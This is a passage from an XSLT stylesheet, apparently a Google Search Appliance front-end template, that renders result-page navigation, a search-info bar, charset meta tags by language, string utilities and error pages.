*** --> <xsl:choose> <xsl:when test="($start)<(($current_view)-(10*($num_results)))"> </xsl:when> <xsl:when test="(($current_view)>=($start)) and (($current_view)<(($start)+($num_results)))"> <td> <xsl:if test="$navigation_style = 'google'"> <img src="/nav_current.gif" width="16" height="26" alt=""/> <br/> </xsl:if> <xsl:if test="$navigation_style = 'link'"> <xsl:call-template name="nbsp"/> </xsl:if> <span class="i"><xsl:value-of select="(($start)div($num_results))+1"/></span> <xsl:if test="$navigation_style = 'link'"> <xsl:call-template name="nbsp"/> </xsl:if> </td> </xsl:when> <xsl:otherwise> <td> <xsl:if test="$navigation_style = 'link'"> <xsl:call-template name="nbsp"/> </xsl:if> <a href="/search?{$search_url}&start={$start}"> <xsl:if test="$navigation_style = 'google'"> <img src="/nav_page.gif" width="16" height="26" alt="" border="0"/> <br/> </xsl:if> <xsl:value-of select="(($start)div($num_results))+1"/> </a> <xsl:if test="$navigation_style = 'link'"> <xsl:call-template name="nbsp"/> </xsl:if> </td> </xsl:otherwise> </xsl:choose> <!-- *** Recursively iterate through result sets to display *** --> <xsl:if test="((($start)+($num_results))<($end)) and ((($start)+($num_results))<(($current_view)+ (10*($num_results))))"> <xsl:call-template name="result_nav"> <xsl:with-param name="start" select="$start+$num_results"/> <xsl:with-param name="end" select="$end"/> <xsl:with-param name="current_view" select="$current_view"/> <xsl:with-param name="navigation_style" select="$navigation_style"/> </xsl:call-template> </xsl:if> </xsl:template> <!-- ********************************************************************** Top separation bar (do not customize) ********************************************************************** --> <xsl:template name="top_sep_bar"> <xsl:param name="query"/> <xsl:param name="time"/> <table width="100%" cellpadding="2" cellspacing="0" border="0"> <tr> <td class="t" nowrap="1"> <xsl:if test="$show_search_info != '0'"> <font size="-1"> Searched for <b><font color="{$sep_bar_text_color}"> <xsl:value-of disable-output-escaping="yes" select="$html_escaped_query"/></font> </b>. </font> </xsl:if> <font size="-6"><xsl:call-template name="nbsp"/></font> </td> <td class="t" align="right" nowrap="1"> <xsl:if test="$show_search_info != '0'"> <font size="-1"> <xsl:if test="count(/GSP/RES/R)>0 "> Results <b><xsl:value-of select="RES/@SN"/> - <xsl:value-of select="RES/@EN"/></b> <xsl:if test="$access = 'p'"> of about <b><xsl:value-of select="RES/M"/></b> </xsl:if>. </xsl:if> Search took <b><xsl:value-of select="round($time * 100.0) div 100.0"/></b> seconds. </font> </xsl:if> </td> </tr> </table> <hr class="z"/> </xsl:template> <!-- ********************************************************************** Utility function for constructing copyright text (do not customize) ********************************************************************** --> <xsl:template name="copyright"> <center> <br/><br/> <p> <font face="arial,sans-serif" size="-1" color="#2f2f2f"> Powered by Google</font> </p> </center> </xsl:template> <!-- ********************************************************************** Utility functions for generating html entities ********************************************************************** --> <xsl:template name="nbsp"> <xsl:text disable-output-escaping="yes">&nbsp;</xsl:text> </xsl:template> <xsl:template name="nbsp3"> <xsl:call-template name="nbsp"/> <xsl:call-template name="nbsp"/> <xsl:call-template name="nbsp"/> </xsl:template> <xsl:template name="nbsp4"> <xsl:call-template name="nbsp3"/> <xsl:call-template name="nbsp"/> </xsl:template> <xsl:template name="quot"> <xsl:text disable-output-escaping="yes">&quot;</xsl:text> </xsl:template> <xsl:template name="copy"> <xsl:text disable-output-escaping="yes">&copy;</xsl:text> </xsl:template> <!-- ********************************************************************** Utility functions for generating head elements so that the XSLT processor won't add a meta tag to the output, since it may specify the wrong encoding (utf8) in the meta tag. ********************************************************************** --> <xsl:template name="plainHeadStart"> <xsl:text disable-output-escaping="yes"><head></xsl:text> <xsl:text> </xsl:text> </xsl:template> <xsl:template name="plainHeadEnd"> <xsl:text disable-output-escaping="yes"></head></xsl:text> <xsl:text> </xsl:text> </xsl:template> <!-- ********************************************************************** Utility functions for generating head elements with a meta tag to the output specifying the character set as requested ********************************************************************** --> <xsl:template name="langHeadStart"> <xsl:text disable-output-escaping="yes"><head></xsl:text> <xsl:choose> <xsl:when test="PARAM[(@name='oe') and (@value='utf8')]"> <meta http-equiv="content-type" content="text/html; charset=UTF-8"/> </xsl:when> <xsl:when test="PARAM[(@name='oe') and (@value!='')]"> <meta http-equiv="content-type" content="text/html; charset={PARAM[@name='oe']/@value}"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_zh-CN')]"> <meta http-equiv="content-type" content="text/html; charset=GB2312"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_zh-TW')]"> <meta http-equiv="content-type" content="text/html; charset=Big5"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_cs')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-2"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_da')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_nl')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_en')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_et')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_fi')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_fr')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_de')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_el')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-7"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_iw')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-8-I"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_hu')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-2"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_is')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_it')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_ja')]"> <meta http-equiv="content-type" content="text/html; charset=Shift_JIS"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_ko')]"> <meta http-equiv="content-type" content="text/html; charset=EUC-KR"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_lv')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_lt')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_no')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_pl')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-2"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_pt')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_ro')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-2"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_ru')]"> <meta http-equiv="content-type" content="text/html; charset=windows-1251"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_es')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:when test="PARAM[(@name='lr') and (@value='lang_sv')]"> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> </xsl:when> <xsl:otherwise> <meta http-equiv="content-type" content="text/html; charset="/> </xsl:otherwise> </xsl:choose> <xsl:text> </xsl:text> </xsl:template> <xsl:template name="langHeadEnd"> <xsl:text disable-output-escaping="yes"></head></xsl:text> <xsl:text> </xsl:text> </xsl:template> <!-- ********************************************************************** Utility functions (do not customize) ********************************************************************** --> <!-- *** Find the substring after the last occurence of a separator *** --> <xsl:template name="last_substring_after"> <xsl:param name="string"/> <xsl:param name="separator"/> <xsl:param name="fallback"/> <xsl:variable name="newString" select="substring-after($string, $separator)"/> <xsl:choose> <xsl:when test="$newString!=''"> <xsl:call-template name="last_substring_after"> <xsl:with-param name="string" select="$newString"/> <xsl:with-param name="separator" select="$separator"/> <xsl:with-param name="fallback" select="$newString"/> </xsl:call-template> </xsl:when> <xsl:otherwise> <xsl:value-of select="$fallback"/> </xsl:otherwise> </xsl:choose> </xsl:template> <!-- *** Find and replace *** --> <xsl:template name="replace_string"> <xsl:param name="find"/> <xsl:param name="replace"/> <xsl:param name="string"/> <xsl:choose> <xsl:when test="contains($string, $find)"> <xsl:value-of select="substring-before($string, $find)"/> <xsl:value-of select="$replace"/> <xsl:call-template name="replace_string"> <xsl:with-param name="find" select="$find"/> <xsl:with-param name="replace" select="$replace"/> <xsl:with-param name="string" select="substring-after($string, $find)"/> </xsl:call-template> </xsl:when> <xsl:otherwise> <xsl:value-of select="$string"/> </xsl:otherwise> </xsl:choose> </xsl:template> <!-- ********************************************************************** Display server error message ********************************************************************** --> <xsl:template name="server_error"> <html> <xsl:call-template name="plainHeadStart"/> <title><xsl:value-of select="error_page_title"/></title> <xsl:call-template name="plainHeadEnd"/> <body> <xsl:copy-of select="descendant::*"/> </body> </html> </xsl:template> <!-- ********************************************************************** Display other error message ********************************************************************** --> <xsl:template name="error_page"> <xsl:param name="errorMessage"/> <xsl:param name="errorDescription"/> <html> <xsl:call-template name="plainHeadStart"/> <title> <xsl:value-of select="$error_page_title"/>: <xsl:value-of select="$errorMessage"/> </title> <xsl:call-template name="plainHeadEnd"/> <body> <xsl:value-of select="$error_page_title"/>: <xsl:value-of select="$errorMessage"/><br/><br/> <xsl:value-of select="$errorDescription"/><br/><br/> <xsl:text> </xsl:text> <xsl:copy-of select="/"/> </body> </html> </xsl:template> <!-- ********************************************************************** Swallow unmatched elements ********************************************************************** --> <xsl:template match="@*|node()"/> </xsl:stylesheet>